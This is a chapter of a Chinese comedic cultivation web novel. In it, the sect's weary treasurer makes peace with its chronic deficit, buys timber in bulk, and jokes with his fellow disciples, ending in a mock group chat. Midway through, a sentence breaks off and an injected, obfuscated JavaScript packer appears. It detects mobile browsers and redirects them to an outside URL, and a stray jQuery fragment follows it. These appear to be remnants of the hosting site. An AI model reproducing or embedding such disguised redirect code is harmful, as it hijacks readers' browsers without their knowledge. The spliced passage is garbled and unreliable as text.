15. 账本

作品:《我靠算命养宗门

    沈念来了之后,躺平宗的日子变得更热闹了。


    但祁幻的账本,一日比一日厚。


    这天晚上,众人吃完饭各自散了,祁幻一个人坐在主殿门口,借着月光翻账本。


    “锅二十文……厨房维修预估二百文……肉三两一百二十文……”


    他一边念一边用毛笔在账本上写着什么,眉头皱成一团。


    写了一会儿,他停下来,盯着账本发呆。


    他自认为是全宗唯一的正常人,每天都在崩溃边缘反复横跳,最想跑路,但每次要跑时都会被宗门的温情绊住脚。理智告诉他“这宗门没救了”,感情告诉他“我们是一家人”,不可以抛下他们不管。


    月光照在他脸上,照出那两个深深的黑眼圈。


    身后传来脚步声。


    祁幻没回头。


    “账算完了?”典星河的声音。


    祁幻点点头。


    “算完了。”


    典星河在他旁边坐下,看了一眼账本。


    “赤字了?”


    祁幻又点点头。


    “赤字了。”


    典星河没说话,从怀里掏出一把瓜子,递给他。


    祁幻接过来,嗑了一颗。


    “咔”。


    典星河也嗑了一颗。


    “咔”。


    两人一起嗑瓜子,一起看月亮。


    过了好一会儿,祁幻突然开口。


    “掌门,”他说,“我能问你个问题吗?”


    典星河点点头。


    “问。”


    祁幻看着她,月光下,这个躺在他旁边嗑瓜子的掌门,看起来和平时不太一样。


    不是懒洋洋的,是……认真的?


    “您当初……”他顿了顿,“为什么选我?”


    典星河愣了一下。


    “什么?”


    祁幻低下头,看着手里的账本。


    “三年前,您为什么选我?”他说,“我就是个普通的小商人家的孩子,会算账而已。您那时候说,让我来当财务总管,把宗门做大做强。”


    他笑了笑,笑得有点苦。


    “我当真了。我收拾行李,跟您上了山。结果发现宗门账上只有三两银子。”


    典星河没说话。


    祁幻继续说:“这三年来,我每天记账、砍价、省钱、想办法。我以为我能把这个宗门撑起来。我以为……”


    他停住了。


    典星河看着他。


    “以为什么?”


    祁幻沉默了很久。


    “以为你们需要我。”他说,声音很轻,“以为我走了,宗门会散。”


    他的眼眶有点红。


    “可我今天突然想,也许不是你们需要我。是我……需要你们。”


    典星河愣住了。


    祁幻低下头,把脸埋进胳膊里。


    “我每次想跑,都跑不掉。不是因为你们拦着我。是因为我自己不想跑。”


    他的声音闷闷的。


    “我不知道为什么。这里这么穷,这么乱,天天炸东西,天天赤字,天天有人闯祸……可我就是不想走。”


    他抬起头,看着典星河。


    “掌门,我是不是有病?”


    典星河看着他,看了很久。


    然后她伸出手,在他脑袋上敲了一下。


    祁幻捂住脑袋,愣住了。


    典星河说:“你不是有病。”


    祁幻看着她。


    典星河继续说:“你是傻。”


    祁幻:“……”


    典星河笑了。


    “但傻得好。”她说,“不傻,怎么会留在这儿?”


    祁幻的眼眶又红了。


    典星河看着他,声音很轻。


    “你知道我当初为什么选你吗?”


    祁幻摇摇头。


    典星河说:“因为你在集市上跟人砍价的时候,眼睛里有光。 ”


    祁幻愣住了。


    典星河继续说:“你为了省三文钱,跟那个卖菜的婆婆说了半个时辰的好话。最后她送了你一把葱,你高兴得像捡了宝。”


    她顿了顿。


    “我就想,这个人,肯定能把宗门撑起来。”


    祁幻的眼泪掉下来。


    典星河看着他,笑了。


    “事实证明,我算对了。”她说,“你确实把宗门撑起来了,你的财务管理能力MAX,能在零收入的情况下维持宗门运转。”


    祁幻低下头,用袖子擦了擦眼睛。


    “可是……可是还是赤字……”


    典星河点点头。


    “嗯,还是赤字。”她说,“但那又怎样?”


    祁幻抬头看她。


    典星河看着月亮,声音很轻。


    “赤字就赤字呗。咱们有饭吃,有地方住,有人陪着。还不够吗?”


    祁幻张了张嘴,说不出话来。


    典星河站起来,拍了拍身上的瓜子壳。


    “行了,别想了。”她说,“不只是你需要我们,我们,都很需要你。”


    她转身往回走。


    走了两步,又回头。


    “对了,祁幻。”


    典星河笑了笑。


    “谢谢你。”她说,“这三年,辛苦了。”


    她走了。


    祁幻一个人坐在原地,抱着账本,眼泪流个不停。


    但他笑了。


    然后他站起来,走到院子里。


    归尘蹲在歪脖子树下坐着,望着天。


    祁幻走过去,在他旁边蹲下。


    归尘看了他一眼。


    “眼眶怎么红了?”


    祁幻摇摇头。


    “没、没什么。”


    归尘没追问,只是递给他一把瓜子。


    过了好一会儿,祁幻突然开口。


    “前辈,”他说,“您当初……是怎么想通的?”


    归尘转头看他。


    祁幻继续说:“就是……怎么从过去走出来的?”


    归尘沉默了一会儿。


    “没走出来。”他说,“是走进去的。”


    祁幻没懂。


    归尘看着远处,声音很轻。


    “过去的事,忘不掉。也走不出来。”他说,“但你可以带着它,继续往前走。”


    他转头看向祁幻。


    “你那些账本,每一页都是过去。”他说,“但你还得翻到下一页。”


    祁幻愣住了。


    他看着手里的账本,看了很久。


    然后他点点头。


    “嗯。”他说,“翻下一页。”


    祁幻想通之后的第二天,躺平宗好像什么都没变,又好像什么都变了。


    说没变——早上还是被宋栀子的爆炸声吵醒的。


    “砰——!”


    这次炸的是柴房。


    沈念从废墟里爬出来,浑身上下全是灰,头发炸成了和宋栀子同款的蒲公英。他手里还攥着一把瓜子,居然没撒。


    “师叔,”他看着站在门口嗑瓜子的归尘,表情茫然,“您不是说……习惯就好吗?”


    归尘点点头。


    “嗯。习惯了吗?”


    沈念想了想,低头看了看自己。


    “……好像还没有。”


    归尘又嗑了一颗瓜子。


    “那就继续习惯。”


    沈念沉默了。


    祁幻从主殿冲出来,看到这一幕,第一反应是翻开账本。


    “柴房维修多少钱……木头二十根,人工……至少一百文……”


    他写着写着,突然停下来。


    然后他合上账本,深吸一口气。


    “算了。”他说,“人没事就行。”


    宋栀子从废墟另一边探出脑袋,眼睛亮晶晶的。


    “三师兄!你今天不崩溃了?!”


    祁幻看着她,表情复杂。


    “崩溃有用吗?”


    宋栀子想了想。


    “没用。”


    “那不就好了。”祁幻把账本夹在腋下,“我去镇上买木头。”


    他转身就走。


    宋栀子愣在原地,看着他的背影。


    “二师兄,”她拽了拽牧殇的袖子,“三师兄是不是被夺舍了?”


    牧殇嗑着瓜子,若有所思。


    “有可能。”他说,“要不咱们给他算一卦?”


    典星河的声音从歪脖子树下传来:“谁要算卦?十两银子一卦。”


    牧殇赶紧摆手:“不用不用!我就说说!”


    典星河继续躺着晒太阳。


    穆惇扛着锄头从灵田那边走过来,看了一眼柴房的废墟,又看了一眼沈念。


    “学乖了吗?”她问。


    沈念点点头。


    “学乖了。”他说,“下次炸之前,我先跑。”


    穆惇点点头,继续往灵田走。


    走了两步,又回头。


    “今天还学锄地吗?”


    沈念愣了一下。


    “学!”他赶紧站起来,“我马上来!”


    他跑了两步,又跑回来,从废墟里刨出那袋没撒完的瓜子,塞进怀里,然后才跑向灵田。


    归尘看着他的背影,嘴角弯了弯。


    “这孩子,”他说,“像谁呢?”


    典星河躺在摇椅上,懒洋洋地接了一句:“像你。”


    归尘想了想,点点头。


    “好像是。”


    ---


    下午,祁幻从镇上回来了。


    他扛着一捆木头,后面还跟着一个推车——车里装着更多木头。


    牧殇迎上去,一脸惊讶。


    “你怎么买这么多?”


    祁幻放下木头,擦了擦汗。


    “多买点,省得下次再跑。”


    牧殇愣住了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387676|200271||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “下次?你还准备了下次?”


    祁幻点点头,表情平静。


    “柴房迟早还要炸。厨房也是。茅房也是。”他说,“提前备着,省得每次都花高价买急用的。”


    他翻开账本,给牧殇看。


    “你看,如果批量买,能便宜三成。如果跟老板长期合作,还能再便宜一成。如果——”


    牧殇打断他:“等等等等,你算这个干嘛?”


    祁幻看着他,眼神像看一个傻子。


    “省钱啊。”他说,“省下来的钱可以多买肉。”


    牧殇张了张嘴,愣是没说出话来。


    宋栀子从旁边冒出来,举手提问:“三师兄,那我能多申请点发明经费吗?”


    祁幻想了想。


    “可以。”他说,“但得签个协议。如果炸了,从你下辈子零花钱里扣。”


    宋栀子:“……”


    牧殇在旁边笑得直拍大腿。


    典星河躺在摇椅上,听着这边的动静,嘴角弯了弯。


    归尘蹲在树下,嗑着瓜子,也弯了弯嘴角。


    “这孩子,”他说,“是真想通了。”


    典星河点点头。


    “嗯。”她说,“以后账本不用愁了。”


    归尘看了她一眼。


    “你以前愁过?”


    典星河想都不想。


    “没有。”


    傍晚,沈念从灵田回来,浑身是泥,但脸上带着笑。


    “师姐夸我了!”他跑过来跟归尘汇报,“她说我今天锄得不错!”


    归尘点点头。


    “嗯。很棒。”


    沈念在他旁边蹲下,过了好一会儿,沈念突然问:“师叔,您说,我要是早点来,是不是就可以早点认识大家了?”


    归尘转头看他。


    沈念继续说:“您这些年,自己一个人……是不是很孤单?”


    归尘沉默了一会儿。


    然后他摇摇头。


    “不是,不孤单。”他说。


    沈念没懂。


    归尘看着远处那几个人——祁幻在整理木头,宋栀子在旁边帮忙(虽然越帮越忙),牧殇在指挥(虽然指挥得乱七八糟),穆惇站在灵田边看着他们,典星河躺在摇椅上晒太阳。


    “你要是再来”归尘说,“你在这里找不到我。”


    沈念愣了一下。


    然后他笑了。


    “你来的时候,”他说,“正好。”


    晚饭的时候,七个人围坐在主殿门口。


    祁幻买了五斤肉——他说“批量买便宜,放着慢慢吃”。


    宋栀子贡献了一碟新腌的咸菜,但味道有点怪。


    “这是什么味的?”牧殇尝了一口,表情复杂。


    宋栀子眨眨眼:“灵气味的。”


    牧殇:“……”


    穆惇尝了一口,面无表情地点点头。


    “还行。”


    典星河也尝了一口,点点头。


    “比上次强。”


    沈念尝了一口,然后默默地喝了一大口水。


    但他还是说:“挺、挺好吃的。”


    宋栀子高兴了:“沈念师弟最懂我!”


    祁幻在旁边记账,一边记一边说:“咸菜成本五文,宋栀子人工费零,味道待定,综合评分——”


    他抬头看了一眼众人的表情。


    “算了,不评分了。”


    牧殇笑出了声。


    月光洒下来,很亮。


    风很轻。


    一切都很好。


    【章末小剧场:躺平宗摸鱼群】


    钱多多:@所有人,今日支出:木头两百文(批量采购优惠价),肉五斤二百文(也是批量价),宋栀子发明材料八十文(她说这次绝对不会炸)。今日进账:无。心情:平静。


    赵铁柱:咦?今天不崩溃了?


    王甜甜:三师兄今天心情好?


    李翠花:恭喜发财。


    典星河:@钱多多,想通了?


    钱多多:嗯,想通了。


    归尘:那就好。


    钱多多:@李翠花,借你吉言。


    赵铁柱:批量采购?!这是要长期作战的节奏啊!


    王甜甜:三师兄威武!


    李翠花:@钱多多,木头够甜甜炸吗?


    钱多多:够用一阵子了。


    典星河:@钱多多,肉够吗?


    钱多多:也够一阵子了。


    归尘:@钱多多,瓜子呢?


    钱多多:……明天买。


    赵铁柱:哈哈哈哈哈哈


    王甜甜:哈哈哈哈哈哈


    沈念:三师兄辛苦了!


    钱多多:不辛苦,命苦。


    典星河:命苦也得买瓜子,你想要全宗门的瓜子精焉死么?


    钱多多:……


    钱多多:知道了掌门。